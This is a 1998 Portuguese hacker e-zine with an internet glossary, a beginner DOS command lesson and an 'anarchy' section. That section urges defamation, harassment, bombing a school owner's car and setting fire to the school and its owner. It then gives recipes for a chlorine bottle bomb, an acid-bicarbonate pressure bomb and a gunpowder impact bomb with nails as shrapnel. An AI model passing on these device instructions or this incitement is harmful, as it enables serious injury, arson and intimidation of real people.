Feito integralmente por Na_Ideia ! ano 01 numero 02 - julho de 1998 ! pppppppppp sssssssssss ii cccccccccc oooooooooooo pp p ss ii cc oo oo pp p ss ii cc oo oo pp p ss ii cc oo oo pppppppppp sssssssssss ii cc oo oo pp ss ii cc oo oo pp ss ii cc oo oo pp ss ii cc oo oo pp ss ii cc oo oo pp sssssssssss ii ccccccccccc oooooooooooo CYBER pode ser downloadeado em http://www.angelfire.com/id/psicocyber e-mail naideia@yahoo.com MELHOR SE ABERTO NO EDIT DO DOS OU ALGO PARECIDO (editor de txt) **************************************************************************** * ESTE ZINE TEM COMO OBJETIVO A INFORMACAO, POR ISSO NAO ME RESPONSABILIZO * * POR QUALQUER ATO IRRESPONSAVEL E/OU IMBECIL FEITO POR QUEM LER ESSE ZINE * * TAMBEM NEM RECOMENDO A PRATICA DE ATOS ILEGAIS AQUI CONTIDOS !! * **************************************************************************** Alerta Se o que vc procura e soh codigo de ViRuS ou apenas dicazinhas de invadir sistemas alheios veio ao zine errado !! Aqui vc ira fazer minicursos que irao lhe proporcionar um entendimento melhor da BANANA !!!!!!! TTTTTTT EEEEEE MM MM PPPPPP OOOOOOO T E M M M M P P O O T EEE M M M M PPPPPP O O T E M M M M P O O T EEEEEE M M M P OOOOOOO NAO C O R R A CONTRA !!! ANDE JUNTO !!!! < Na_Ideia & VERME > * Ainda nao inventaram nada para substituir a BURRICE humana !! * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ No zine: linha: Intro 75 Dicionario 92 ANARQUIA 673 SO 823 Tutorial de ASSEMBLER - 1. parte 1055 FTP 1250 Intro ao PHREAK - 2. aula 1282 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Intro Como dito, o num. 02 bem menos limitado que o 1. Vc vai encontrar no decorrer do zine um artigo sobre ANARQUIA , que eh ERRADAMENTE confundido com vandalismo e destruicao. Anarquia nao eh sair por ai destruindo tudo que encontra pela frente, fazer bombas, detonar o colegio, zoar uma lanchonete ...... Anarquia eh o simples fato de vc poder fazer o que bem entender, sem ninguem te dizendo o que fazer e o que nao fazer. E comeca nesse numero o tutorial de ASSEMBLER, aqui so tem uma intro, pois ASSEMBLER nao e' facil, e nessecita ser visto com muita calma, no n.3 comecara o tutorial de C e C++ !!! %$#^%#^%#^%#^%#^%$#^%#^%$#^%#^%#^%#^%#^%#^%#^%#^%#^%#^%#^%#^%#^%#^%$#%$# DICIONARIO - 2.parte - final LlLLlLlLlLlLLLLlLlLLlLLLLlLlLLLLlLlLLlLlLLLLlLlLLLLLLLLlLLLLlLLLLlll lamer - Nao ha uma definacao padrao, o lamer (em alguns lugares conhecido por lammer, lamah, etc..) eh o mais mane' , o mais tosco o mais burro (nao no sentido de informacao, eh falta de inteligencia mesmo) de todos no cyber world. Erradamente confundido com beginners, ou newbies (iniciantes), passam E-mails anonimos e acham que sao hackers. LAN - Local Area Network. Rede Local. E' uma rede com 2 ou algumas dezenas de computadores que nao se estende para alem dos limites fisicos de um qualquer edificio. Normalmente utilizada nas empresas para interligacao local dos seus computadores. Existem varias tecnologias que permitem a realizacao de uma rede local, sendo as mais importantes, a Ethernet e o Token-Ring. largura de banda - Ver Bandwidth. latencia - Tempo que uma unidade de informacao leva a percorrer um dado meio de comunicacao. Pode-se, por exemplo, dizer que o tempo de latencia de um satelite VSAT e' de 300 ms, o que significa que um caracter enviado a partir de um ponto leva 300 ms a chegar a outro, passando pelo satelite. leased-line - Linha alugada. A maior parte das linhas que ligam as varias maquinas da Internet sao linhas alugadas disponiveis permanentemente. Com uma linha alugada, dois computadores encontram-se em conexao permanente. Em Portugal, ainda e' um sonho instalar uma, pois e' bastante caro. linha alugada - ver leased-line. link - No WWW, uma palavra destacada indica a existencia de um link, que e' uma especie de apontador para outra fonte de informacao. Escolhendo esse link, obtem-se a pagina de informacao que ele desginava que pode, por sua vez, ter tambem varios links. Linus Torvalds - The one and only! :-) O inventor do Linux, aquele que teve a ideia e desenvolveu o nucleo (kernel) e algumas ferramentas/utilitarios basicos. A melhor ideia dele foi talvez o fato de o disponibilizar na Internet, tornando-o um sistema operativo de dominio publico. Linus foi mais tarde apoiado entusiasticamente por muitos outros "internetianos" (e nao so') formando uma equipa que regularmente controi novas aplicacoes, melhora as existentes, corrige erros, etc. linux - Nome derivado do nome do autor do nucleo deste sistema operativo, Linus Torvalds. O Linux e' hoje em dia um sistema operativo com todas as caracteristicas do Unix, com uma implantacao invejavel e em constante evolucao... e e' do dominio publico. Normalmente e' distribuido em diferentes "releases" que mais nao sao do que um nucleo (recompilavel) acompanhado de programas, utilitarios, ferramentas, documentacao, etc. Uma das releases mais conhecidas e' a Slackware. login - Identificacao de um utilizador perante um computador. Fazer o login e' o acto de dar a sua identificacao de utilizador ao computador. logout - Acto de desconectar a sua ligacao a um determinado sistema ou computador. lynx - Um programa (browser) para ver navegar no WWW. O lynx foi pensado para ser usado em terminais texto, portanto so' se pode visualizar a informacao textual, ficando a restante (imagens, sons, etc.) disponivel para gravacao no disco do seu computador para mais tarde ver/ouvir. mMmMmMmMmMmMmMmMmmmMmMmMmMmMmMmMmMmMmMmmmmmmmmmmmmmmmmMMmMMMMmMmmmMmmmMM mail - carta electronica. mailing list - Uma lista de assinantes que se correspondem por correio electronico. Quando um dos assinantes escreve uma carta para um determinado endereco electronico (de gestao da lista) todos os outros a recebem, o que permite que se constituam grupos (privados) de discussao atraves de correio electronico. mail server - Programa de computador que responde automaticamente (enviando informacoes, ficheiros, etc.) a mensagens de correio electronico com determinado conteudo. MAN - Metropolitan Area Network. Rede de computadores com extensao ate' algumas dezenas de kilometros, interligando normalmente algumas centenas de computadores numa dada regiao. mil - Sufixo dos enderecos electronicos pertencentes `as organizacoes militares norte-americanas. mime - Multipurpose Internet Mail Extensions. Conjunto de regras definidas para permitirem o envio de correio electronico (texto) com outros documentos (graficos, sons, etc.) anexos. modem - MOdulador DEModulador. Pequeno aparelho (sob a forma de uma carta interna de expansao - a introduzir no interior do seu computador - ou uma caixa de plastico com luzinhas no painel posterior) que permite ligar um computador `a linha telefonica, para assim estar apto a comunicar com outros. Muitos dos modems sao tambem capazes de realizar funcoes de fax. A sua aplicacao mais importante sera' porventura a ligacao a BBS ou `a Internet (atraves de um fornecedor de acesso). mosaic - O primeiro programa (browser) para o WWW concebido pela NCSA (EUA). Com ele o WWW tomou um grande impulso pois foi a primeira ferramenta que permitia visualizar a informacao do WWW, e utiliza-la, de forma grafica e atraente. MUD - Multi User Dungeon. Um jogo para varios utilizadores, normalmente presente num qualquer servidor na Internet. E' uma especie de Mundo Virtual onde se podem encontrar e interactuar varios utilizadores. Normalmente, passa-se tudo textualmente (nada de imagens bonitas ou sons espalhafatosos). multi-frequencia - Varias frequencias. Deginacao para uma linha telefonica capaz de transportar sinais electricos em frequencias diferentes. Sao aquelas linhas que permitem ter um telefone em que a marcacao e' feita por tonalidades e nao por impulsos. NnNnNNnNnNnNnNnNnNnNnNNnnNNNNNnnnNNnNNnnNNnNNnnNNnNNnNNnNNnNNnNNNnNN navegar - Na Internet significa vaguear, passear, procurar informacao, sobretudo no WWW. Tambem se pode dizer surfar, para os mais radicais! :-) NCSA - National Center for Supercomputing Applications. net - Rede (de computadores, nexte contexto). netiquette - Conjunto de regras e conselhos para uma boa utilizacao da rede Internet, de modo a se evitarem erros proprios de novatos aquando da interaccao com outros utilizadores (mais experientes). A netiquette baseia-se muito no simples e elementar bom senso. netscape - Um programa (browser) para o WWW. Sucessor do Mosaic e desenvolvido pela mesma equipa de programadores, o Netscape evolui mais rapidamente e esta'-se a tornar no browser de WWW mais usado, devido `as suas caracteristicas de rapidez, cache, visualizacao interna de varios formatos de ficheiros, suporte para uma linguagem de descricao de pagina mais evoluida, etc. network - Rede de computadores. newbie - Novato. Designacao depreciativa dada pelos veteranos da Internet `aqueles que a descobriram recentemente. news - Noticias, em portugues, mas melhor traduzido por foruns ou grupos de discussao. Abreviatura de Usenet News, as news sao grupos de discussao, organizados por temas (mais de 10.000!), a maior parte deles com distribuicao internacional, podendo haver alguns distribuidos num so' pais ou numa instituicao apenas. Nesses grupos, publicos, qualquer pessoa pode ler artigos e escrever os seus proprios artigos. Alguns grupos sao moderados, significando isso que um humano designado para o efeito le os artigos antes de serem publicados, para constatar da sua conformidade para com o tema do grupo. No entanto, a grande maioria dos grupos nao sao moderados. newsgroup - Um grupo de news, um forum ou grupo de discussao. NNRP - Network News Reading Protocol. Protocolo que permite que um programa leitor de news obtenha a informacao (artigos, grupos, etc.) a partir de um servidor de news. NNTP - Network News Transport Protocol. Protocolo para a transferencia dos grupos de news da Usenet e mensagens de controlo. OOOOooOooOooOooOooOooOoOOoOoOOOoOOoOoOoOoOooooOoOoOoooooOOooOoOoOoOooo offline - `A letra: "fora da linha". Significa que nenhuma ligacao por linha telefonica ou outra esta' no momento activa. Por exemplo, a leitura de mail offline implica que se possa ler mail no seu proprio computador sem que ele esteja ligado ao servidor (tendo portanto sido transferidas as cartas para esse computador, previamente). As ligacoes offline nao permitem a navegacao interactiva na Internet, pois o computador nao pode enviar comandos e receber dados em tempo real. online - Por oposicao a offline, online significa "estar em linha", e star ligado em determinado momento `a rede ou a um outro computador. Para alguem, na Internet, "estar online", e' necessario que nesse momento essa pessoa esteja a usar a Internet e que tenha, portanto, efecutado o login num determinado computador da rede. PppPpppPppPPPPPppPPppPppPPppPPppPPppPPPpPPppPPPpPPppPPpPPpPPpPPpPPpP password - Palavra-chave usada para identificacao do utilizador, em conjunto com o login (nao sendo este secreto, como o e' - deve ser - a password). PGP - Pretty Good Privacy. Programa para a codificacao mensagens de texto, inventado por Philip Zimmerman. Uma mensagem assim enviada e' inquebravel e so' o seu destinatario a pode descodificar, dando para isso uma chave que so' ele conhece. pine - Um programa/leitor de correio electronico para ambientes Unix (se bem que tambem se possam encontrar versoes para outros sistemas operativos). `A base de menus com escolha de opcoes por letras e teclas de cursor. Dizem os utilizadores que e' mais simples que o elm... Suporta tambem o formato de mensagens MIME (mensagens de texto com outro tipo de ficheiros anexos). ping - Pequeno utilitario utilizado para ver se uma determinada ligacao se encontra activa e qual o tempo que uma mensagem leva para ir de um ponto ao outro da ligacao. O ping envia pacotes (geralmente 64 bytes) para um ponto, que responde enviando um outro pacote equivalente. port - Porto ou Porta, em portugues. A interface de sockets, no Unix faz corresponder aos processos daemon um port, onde esse processo se registou na altura do seu arranque e que permite a um programa cliente saber onde se deve ligar. Por exemplo, o servidor de mail (mail daemon) esta' sempre `a escuta no port 25 (ate' 1023 os ports sao reservados ao sistema). post - Desgina um artigo de news, por vezes. Fazer um post significa escrever e enviar um artigo para um grupo de news. PPP - Point to Point Protocol. O PPP implementa o protocolo TCP/IP (o(s) protocolo(s) da Internet) numa linha telefonica, para que atraves da mesma um computador pessoal se possa ligar `a Internet e usufruir de todos os servicoes e aplicacoes existentes. E' uma norma, posterior ao SLIP e mais completo. processo - Programa a correr num determinado instante, portanto presente na memoria do computador. Esta terminologia e' usada em maquinas Unix, onde se podem ter varios processos a correr ao mesmo tempo. protocolo - Um protocolo e' para os computadores o que uma linguagem (lingua) e' para os humanos. Dois computadores para poderem transferir informacoes entre si devem utilizar o mesmo protocolo (ou ter um terceiro que perceba os dois protocolos e faca a traducao). proxy - Procuracao, em portugues. Um servidor (programa) proxy (ou com capacidades de proxy) recebe pedidos de computadores ligados `a sua rede e, caso necessario, efectua esses mesmos pedidos (de HTTP, Finger, etc.) ao exterior dessa rede (nomeadamente, a resto da Internet), usando como identificacao o seu proprio numero IP e nao o numero IP do computador que requisitou o servico. Util quando nao se dispoem de numeros IP registados numa rede interna ou por questoes de seguranca. pt - Codigo ISO atribuido para identificacao de Portugal. pt-net - Uma mailing list de portugueses, no estrangeiro (principalmente) e em Portugal. E' a mais importante mailing list portuguesa e ai se debatem temas de todo o tipo, geralmente relacionados com Portugal. public domain - Dominio Publico. pulse - Impulso. Uma linha telefonica e' por impulsos se nao for multifrequencias, isto e', os sinais de digitacao sao enviados por uma serie de pequenos impulsos, separados por espacos. A digitacao (e estabelecimento de chamada) neste tipo de linhas e' mais lenta. QqqQqQqQQqQqQqQQqQqQQQQqQQQQqQqQQqQQqQqQqQqQqQqQqQqQqqqQqqqqqqQqqqqQqQ RrrRrRrRRrRrRrrRrRrrRrRrrRrrRrrrrrRrrrrrrrrrrRRrRRRRrRRRRRrrRrRRrrrRRrr readme - Leia-me. Ficheiro que deve ser lido antes de se iniciar a utilizacao ou instalacao de um determinado programa, sistema, computador, etc. Contem geralmente informacoes que podem poupar tempo ao utilizador que pretende fazer algo (e esse algo tem um ficheiro README acessivel). reply - Resposta. RFC - Request For Comments. Documentos que definem normas e protocolos para a Internet e onde se fazem as discussoes de nivel tecnico para a definicao de novos protocolos. router - Computador, software ou material dedicado que serve para interligar duas ou mais redes efecutando automaticamente a redireccao correcta das mensagens de uma rede para outra. RTFM - Read The Fucking Manual. Leia a porra do manual. Termo utilizado para indicar a alguem que deve ler o manual, pois provavelmente anda a fazer perguntas que ai estao claramente respondidas. SsSSSSSSsSsSssSssSsSSsSsSSsSsSSsSsSSsSSSSsSSsSsSsSssSssssSsSSsSs scp - Abreviatura de soc.culture.portuguese, o grupo de news distribuido internacionalmente, dedicado a Portugal e `a cultura portuguesa, no sentido lato. server - Servidor. Um computador na Internet que oferece determinados servicos. servidor - Computador que oferece servicos. SGML - Standard General Markup Language. Uma linguagem de descricao de paginas em hipertexto mais geral que o HTML. shareware - Software que e' distribuido livremente, desde que seja mantido o seu formato original, sem modificacoes, e seja dado o devido credito ao seu autor. Normalmente, foi feito para ser testado durante um curto periodo de tempo (periodo de teste/avaliacao) e, caso seja utilizado, o utilizador tem a obrigacao moral de enviar o pagamento ao seu autor (na ordem de algumas - poucas - dezenas de dolares). Quando e' feito o registo, e' normal receber-se um manual impresso do programa, assim como uma versao melhorada, possibilidade de assistencia tecnica e informacoes acerca de novas versoes. signature - Assinatura. Geralmente e' a porcao de texto incluida no fim de uma carta electronica ou de um artigo de news (neste caso, por norma, deve ser inferior a 4 linhas, de 80 caracteres no maximo cada, sem TAB's nem codigos, para alem dos caracteres ASCII normais). site - Um "site" da Internet e' um dos no's/computadores existentes. Por exemplo, um site FTP e' um computador algures que oferece o servico de FTP (identico a FTP server). SLIP - Serial Line Internet Protocol. O SLIP implementa o protocolo TCP/IP (o(s) protocolo(s) da Internet) numa linha telefonica, para que atraves da mesma um computador pessoal se possa ligar `a Internet e usufruir de todos os servicoes e aplicacoes existentes. Foi o primeiro protocolo definido para a utilizacao de TCP/IP em linhas telefonicas. smiley - Sao pequenos conjuntos de caracteres ASCII que pretendem transmitir uma emocao ou estado de espirito. Devem ser visualizados de lado, com a folha a 90 graus... Os mais conhecidos sao: :-) ou :) :-( ou :( ;-) ou ;) SMTP - Simple Mail Transport Protocol. Protocolo utilizado entre os programas que transferem correio electronico de um computador para outro. snail mail - Em portugues, Correio Caracol. E' o correio tradicional (que e' muito mais lento que o correio electronico, dai o nome). sockets - O nome da interface em Unix (originalmente, mas tambem ja' existente noutras plataformas) que implementa os protocolos TCP/IP. Uma interface e' um conjunto de chamadas possiveis a bibliotecas que contem rotinas implementando determinados objectivos, neste caso, comunicacao em TCP/IP. SOUP - Simple Offline Usenet Protocol. "Norma" (ou programa) que define como deve ser um pacote compactado de cartas electronicas e artigos de news, para serem lidos offline, por um qualquer programa leitor que compreenda esse formato. spam - Publicacao do mesmo artigo de news em varios grupos de discussao, geralmente resultando em desperdicio de espaco em disco e largura de banda nos meios de transmissao. sysadmin - System Administrator. O responsavel por um sistema. system V - Uma versao (comercial) do sistema operativo Unix. TttTtTtTtttTTtTtTtTTTTTTtTtTtTttTtTTtTtTTtTTtTTTTTtTtTTTttTtTttTt talk - Programa que permite que dois utilizadores (existem versoes que permitem mais utilizadores) "dialoguem textualmente" em directo atraves da Internet. talker - Um programa servidor que pode manter varios utilizadores ligados ao mesmo tempo, permitindo-lhes a interaccao/dialogo textual. TCP - Transmission Control Protocol. Um dos protocolos Internet do conjunto TCP/IP, que implementa o nivel 4 do modelo OSI, atraves transporte de mensagens com ligacao. TCP/IP - Conjunto de protocolos da Internet, definindo como se processam as comunicoes entre os varios computadores. Pode ser implementado em virtualmente qualquer tipo de computador, pois e' independente do hardware. Geralmente, para alem dos protocolos TCP e IP (porventura os 2 mais importantes), o nome TCP/IP designa tambem o conjunto dos restantes protocolos Internet: UDP, ICMP, etc. telnet - Protocolo/programa que permite a ligacao de um computador a um outro, funcionando o primeiro como se fosse um terminal remoto do segundo. O computador que "trabalha" e' o segundo enquanto que o primeiro apenas visualiza no ecran os resultados e envia os caracteres digitados (comandos) no seu teclado. thread - Dentro de um grupo de discussao, existem normalmente varios threads. Um thread representa um assunto especifico ai debatido e e' composto por um ou mais artigos. Tim Berners Lee - O homem, na altura investigador do CERN, que definiu/inventou o protocolo HTTP e deu origem ao WWW. tin - Um leitor de news, com uma estrutura de menus semelhante ao elm (leitor de correio electronico). tone - Por oposicao a "pulse", tonalidade. Numa linha telefonica por tonalidade (multifrequencia) a marcacao de um numero traduz-se no envio de sinais em diferentes frequencias (sons diferentes). A marcacao de um numero (estabelecimento de chamada) neste tipo de linha e' mais rapida que numa linha por impulsos. trn - Threaded News. Um leitor de news, onde os artigos sao apresentados por thread's. trumpet - Trumpet e' o nome dado aos programas que implementam e usam o TCP/IP em ambiente Windows, feitos por Peter Tattam. O mais importante e' o Trumpet Winsock. Nome da firma. UuUuUuUuUuUuUuUuUuUuUuUuUuUuUuuuUuUuUuUuUuUuUuUuUuUuUuUuUuuuUuUuuuu UART - Universal Asynchronous Receiver Transmiter. Circuito integrado responsavel pelas comunicacoes atraves de uma porta serie, num computador. UDP - User Datagram Protocol. Um dos protocolos do conjunto de protocolos da Internet (habitualmente designado por TCP/IP). Corresponde ao nivel 4 do modelo OSI, pois e' um protocolo de transporte, sem ligacao. Em UDP, uma mensagem e' enviada para o destino, sem que haja uma ligacao logica efectuada entre a origem e o destino (semelhante a uma ligacao telefonica entre dois pontos). O(s) pacote(s) de mensagens podem entao passar por varios nos da Internet ate' chegar ao destino. Menos fiavel que o TCP (outro protocolo de transporte, mas com ligacao), mas bastante util quando a perda de um ou outro pacote nao seja importante e se pretende velocidade na transmissao e evitar a sobrecarga de varias ligacoes logicas estabelecidas. unix - Sistema operativo com caracteristicas de multi-tarefa preemptiva, criado nos anos 70, nos Bell Labs. Desde ai evoluiram muitas variantes diferentes do sistema operativo. upload - Fazer o upload de um ficheiro. Acto de transferir o ficheiro do seu computador para um computador remoto, usando qualquer protocolo de comunicacoes. URL - Uniform Resource Locator. Localizador Uniformizado de Recursos. Metodo de especificao de um determinado recurso na Internet, seja ele obtido por FTP, News, Gopher, Mail, HTTP, etc. Pretende uniformizar o maneira de designar a localizacao de um determinado tipo de informacao na Internet. Exemplo: http://www.insa-lyon.fr - pedido, por HTTP, da home page (WWW) do INSA de Lyon. usenet - Conjunto dos grupos de discussao, artigos e computadores que os transferem. A Internet inclui a Usenet, mas esta pode ser transportada por computadores fora da Internet. user - O utilizador dos servicos de um computador, normalmente registado atraves de um login e uma password. utilizador - Ver user. UUCP - Unix to Unix CoPy. Um metodo (antigo, mas ainda usado) para transmitir correio e artigos da Usenet entre computadores. Originalmente feito para fazer a transmissao entre computadores Unix, agora tambem e' possivel usa-lo noutro tipo de computadores. uudecode - Programa para descodificar um ficheiro de texto e transforma-lo no binario correspondente. Juntamente com o uuencode, permite que se transfiram binarios (portanto, qualquer software) atraves de um simples ficheiro de texto. uuencode - Programa para codificar um ficheiro binario e transforma-lo no um ficheiro de texto. Juntamente com o uudecode, permite que se transfiram binarios (portanto, qualquer software) atraves de um simples ficheiro de texto. VVvVvVVvVvVVVVVvvVvVvVvVvVvVvVvVvVvVvVvVvVvVvVvVvVvVvvvvvVvVVVvvvvv V.32bis - Uma das normas estabelecidas para os modems e que define a transmissao de dados `a velocidade de 14400 bps. V.34 - Uma das normas estabelecidas para os modems e que define a transmissao de dados `a velocidade de 28800 bps. V.Fast - Uma pseudo-norma definida pelos fabricantes de modems para permitir a transmissao de dados `a velocidade de 28800 bps. Obsoleta com a chegada da norma V.34. V.FC - Ver V.Fast. viewer - Programa que permite ver (dai o seu nome) um ficheiro gravado num determinado formato. Existem portanto viewers de GIF, de WAV (diz-se tambem Player, quando se trata de sons), de JPEG, Postscript, etc. VSAT - Very Small Aperture Terminal. Uma antena VSAT permite a transmissao de dados (envio e recepcao) para outra antena VSAT, usando uma parte da banda disponivel nos satelites VSAT. VT100 - Um tipo de emulacao de terminal muito frequente na Internet. WwwWwWWWwWwWwWwWWwwWwwWWwwWWwwWwwwwwWwWWwWWwWWWwWWwwWwwWwwwww WAIS - Wide Area Information Service WAN - Wide Area Network. Um rede de computadores que se com extensao de varias dezenas de kilometros ate' milhares de kilometros. web - Em portugues, teia. Abreviatura para designar o World-Wide-Web. whois - Directorio de enderecos electronicos de pessoas e computadores, na Internet, contendo informacoes relativas. winsock - Implementacao da interface de sockets para o WIndows. Com uma winsock (programa/livraria para o windows) e' possivel a utilizacao dos protocolos SLIP e/ou PPP no Windows, ou seja, e' possivel falar a mesma "lingua" que os outros computadores da Internet. World-Wide-Web - Conjunto dos servidores que "falam" HTTP e informacao ai armazenada em formato HTML. O World-Wide-Web e' uma grande teia de informacao multimedia em hipertexto. O hipertexto significa que se pode escolher uma palavra destacada numa determinada pagina e obter assim uma outra pagina de informacao relativa (semelhante ao Help do Windows). As paginas podem conter texto, imagens, sons, animacoes, etc. O World-Wide-Web e' uma gigantesca base de dados distribuida acessivel de uma forma muito atraente e intuitiva. WWW - Sigla de World-Wide-Web. WWW server - Um computador que fornece servicos no WWW, que possui informacao acessivel no WWW. XxxXxXXXxXxXxXxXxXxXxXXXXXXXxXXXXxXxXXxXxXxXxXxXxXxXxxxxxxxXXxXx X.25 - Um protocolo de transferencia de pacotes, sem ligacao logica, definido pelos operadores publicos de telecomunicacoes, na Europa (sobretudo para dar dinheiro! :-) ) YYYYyYYyyyYyYyyYyyyyYYyYYyYYyYYyYYYyYYyYyYyyYyYYyYYYyyYYyYYyYYyYYyYyy Yanoff - Scott Yanoff. Um homem que se lembrou de criar uma lista (Lista de Yanoff) que contem enderecos electronicos e indicacao de outros recursos, para a obtencao de informacao na Internet. Essa lista esta' estruturada em temas (desde Agricultura, Bioquimica, Desporto, etc.) e e' regularmente actualizada. Nao contem indicacoes para tudo o que existe na Internet (pois isso e'impossivel) mas pode ser de grande ajuda. Xmodem - Um protocolo de transferencia de dados por modem, relativamente lento. Ymodem - Um protocolo de transferencia de dados por modem, com alguns melhoramentos em relacao ao Xmodem. ZZzZzzZzzZzzZzZZzZZzZZzZZzZZzZZzZZzZZZZZzZZzZZZZZZzZZzZZZzZZzZZzZZz Zmodem - Um protocolo de transferencia de dados por modem, com alguns melhoramentos em relacao ao Xmodem e ao Ymodem, em particular, mais rapido. outros outros outros outros outros :-( - Veja smiley. Um smiley com uma expressao triste. :-) - Veja smiley. Um smiley com uma expressao contente. ;-) - Veja smiley. Um smiley piscando o olho. @ - Pronuncia-se como o ingles "at" e encontra-se entre o nome do utilizador e o dominio, num endereco electronico. baseado no Dicionario do Internetes de Antonio Miguel Caetano Ferreira <>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>>><> ANARQUIA Erradamente e abitualmente confundido com vandalismo e destruicao. Anarquia e' uma organizacao, nacao, um grupo ou o que vc achar melhor, sem regras e ninguem para dar ordens e dizer se ta bom ou ruim. Em uma anarquia vc faz o que achar melhor. Nao va achar que pelo fato de vc ter derramado katchup no Mc Donalds, baixado as calcas do bobao da turma ou explodido a cabeca de um gato vc e' um anarquista !! Isso e'atitude de lamer e de crianca (nada contra crianca, se vc for uma, tem mais e' que curtir essa fase mesmo) !! Seja inteligente, demonstre suas ideias de uma forma criativa. Se vc tem ideias anarquistas use-as, nao as destrua! A MELHOR FORMA DE DEMONSTRAR UMA IDEIA, E' USANDO AS LETRAS OU AS PALAVRAS, EM ULTIMO CASO UTILIZAREMOS BOMBAS & CIA !!! Ideias AnArQuIsTaS: * Pixe um muro (de preferencia que seja grande branco, que nao tenha pixacoes e que nao seja da casa de ninguem (salvo aqueles idiotas que merecem ter seus muros completamente pixados). De preferencia a muros de empresas que nao tenham um bom servico ou que cobrem caro por eles, muros de escolas que tenham uma pesima administracao e casas de politicos corruptos). Escreva nele (com letras gigantescas) algumas verdades e/ou ideias que vc queira espressar. Mas nao seja burro de cair em cana !! Fique ligado com cachorros, segurancas, pessoas inconvenientes, e claro com os omi da lei !!! * O teu professor(a) e'um(a) idiota !! Coloque panfletos nas paredes da tua escola dizendo que ele tem um caso com o(a) diretor(a). * A mensalidade da sua escola e'muito alta !! Converse com alunos, professores e o dono da escola sobre o assunto, e se nao adiantar, descubra o telefone da casa dele, e faca atendados. Se tudo continuar como estava, coloque uma bela bomba no seu carro ! Se nada disso adiantar, toque fogo nele, (no colegio e no dono dele) !!!!!!!! * Crie letras de musica ou textos que deixem uma mensagem no ar. -------------->>>> BOMBAS <<<<---------------- Todas as bombas aqui citadas foram feitas e funcionaram !! (ou melhor, explodiram). Ira depender de vc o correto funcionamento delas !! TODO RISCO E DANO CAUSADA PELAS BOMBAS E DE TOTAL RESPONSABILIDADE SUA, VALE LEMBRAR TAMBEM QUE QUANTO MAIS SIMPLES E INOFENCISA PARECA SER A BOMBA, VC ESTARA CORRENDO UM GRANDE RISCO !!!!!! Bomba de CLORO - materiais: uma garrafa de refri de 2 litros; um pouco de cloro granulado (20 a 50g); a mesma quantidade de acucar; agua a gosto. Coloque o cloro na garrafa, faca uma mistura de agua (1 quarto da garrafa) e acucar, agite e jogue na garrafa. Feche bem e faca o que quizer com ela. A reacao nao e'rapida, por isso nao va pega-la se tiver demorando muito pra explodir !!! Bomba de BICARBONATO DE SODIO - materiais: bicarbonato de sodio, um acido qualquer (vinagre e' acido acetico, e'fraco mas tbem da) e um recipiente qualquer que tenha presao. Essa reacao e' super rapida, por isso deve-se tomar alguns cuidados. Coloque dentro de bexigas, latas, garrafas ou o que der na telha. Para garrafas, deve-se dobra-la, de modo que o acido (vinagre no caso) fique de um lado, e o bicarbonato de outro, e desdobra-la na hora da explosao! ou use o esquema a baixo !! Uso de bicarbonato com acido em bombas !!! ______ | | | | / \ / \ / \ | | | |ÛÛÛ|----|--->> bicarbonato |___|ÛÛÛ|____| | |ÛÛÛ| | | | | acido | | | | | |____________| Num recipiente com acido, coloque lentamente um outro menor (com o bicarbonato dentro) dentro do grande (com o acido) de modo que o bicarbonato nao entre em contato com acido (pode-se encaixar na lateral do recipiente maior, ou deixar boiando (essa ultima e' mais facil, porem bem mais perigosa)). O recipiente maior deve ser bem tampado (que faca bastante presao) , e o menor destampado. Funcionamento: Quando o recipiente maior for arremecado ou virado o bicarbonato ira entrar em contato com o acido e vai reagir liberando gazes, a presao almenta e o recipiente explode !!!! A potencia desta bomba ira variar dependendo da intencidade do acido, e da presao do recipiente !!! Alguns extintores de incendio funcionam assim, so' que com uma abertura, por onde a reacao escapa em forma de espuma. Bomba de IMPACTO - materiais: saco plastico; polvora (desmonte rojoes); corda ou fita adesiva; pedras (mineral) ou bolas de gude; parafusos e/ou pregos (opcional). Coloque tudo dentro do saco (use de preferencia 2 ou mais), amarre o saco de modo que fique levemente apertado (se apertar demais podera explodir na sua mao), arremece ela .... mas cuidado com os estilhacos. Se for usado pregos e/ou parafusos, deve-se tomar mais cuidado ainda, pois voara bem mais estilhacos ! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SISTEMAS OPERACIONAIS -- aula 01 SO, como e conhecido, e' o software essencial para o funcionamento do computador. Basicamente o SO e' composto do Kernel (nucleo), arquivos de comando e alguns aplicativos basicos. Irei ensinar a manipular os principais SOs existentes por ai, que sao o DOS, WINDOWS (nao recomendo), LINUX (otimo OS), UNIX, OS/2, Mac OS, etc... MS-DOS Eh o unico SO descente da Microsoft, equipou a grande maioria dos computadores ate a chegada do Windows (5, 6, ..... anos atras), ainda e'encontrado em muitos computadores, e no Windows 95 vem uma versao bem redusida dele. Muito parecido com ele (praticamente igual), e' o IBM PC DOS, e levente diferente e'o NOVELL DOS, que era mais recomendado para workgroups (rede de trabalho). Se vc acha besteira aprender a usar bem o DOS, vc ta enganado, o DOS e'o 1. sistema que se deve manipular bem, se vc so usa o Windows, comece a usar bastante o seu DOS, vc ira adquirir uma boa esperiencia, pois o LINUX e o UNIX basicamente sao bem parecidos. Comandos: sintaxe: cls --- limpa a tela cls cd --- abre um diretorio (pasta) ------ cd nome_dir cd.. cd\ .. - retorna um subdir; \ - retorna ao root. md --- cria um diretorio ----- md nome_dir rd --- apaga um dir. tem que estar fora do dir e ele tem que estar vazio. ------------ rd nome_dir dir --- lista os aquivos e subdirs de um diretorio. ---------- dir /a /p /w /s /a -- lista os dirs. e arqs. ocultos. /p -- da uma pausa por tela /w -- lista na horizontal. /s -- lista os subdirs. ex. dir /s psico --- mostra os arqs. e subdirs. do dir. psico. dir *win*.* --- lista os arqs. do dir. atual que tenham "win" em seu nome. ex. winsck.dll winzip32.exe gamewin2.zip dir psico.* --- lista os arqs. "psico" com qualquer extensao. ex. psico.txt psico.exe psico.ini copy --- copia um arq. de um dir. pra outro -- ------ copy nome_arq.??? novo_dir del --- deleta (apaga) arqs. ------ del nome_arq.??? move --- move um arq. --------- o mesmo do copy type --- mostra o conteudo de um arq. ----- type nome_arq more --- usado apos o type, ou outro comando em que a tela role muito. Ele da uma pausa por 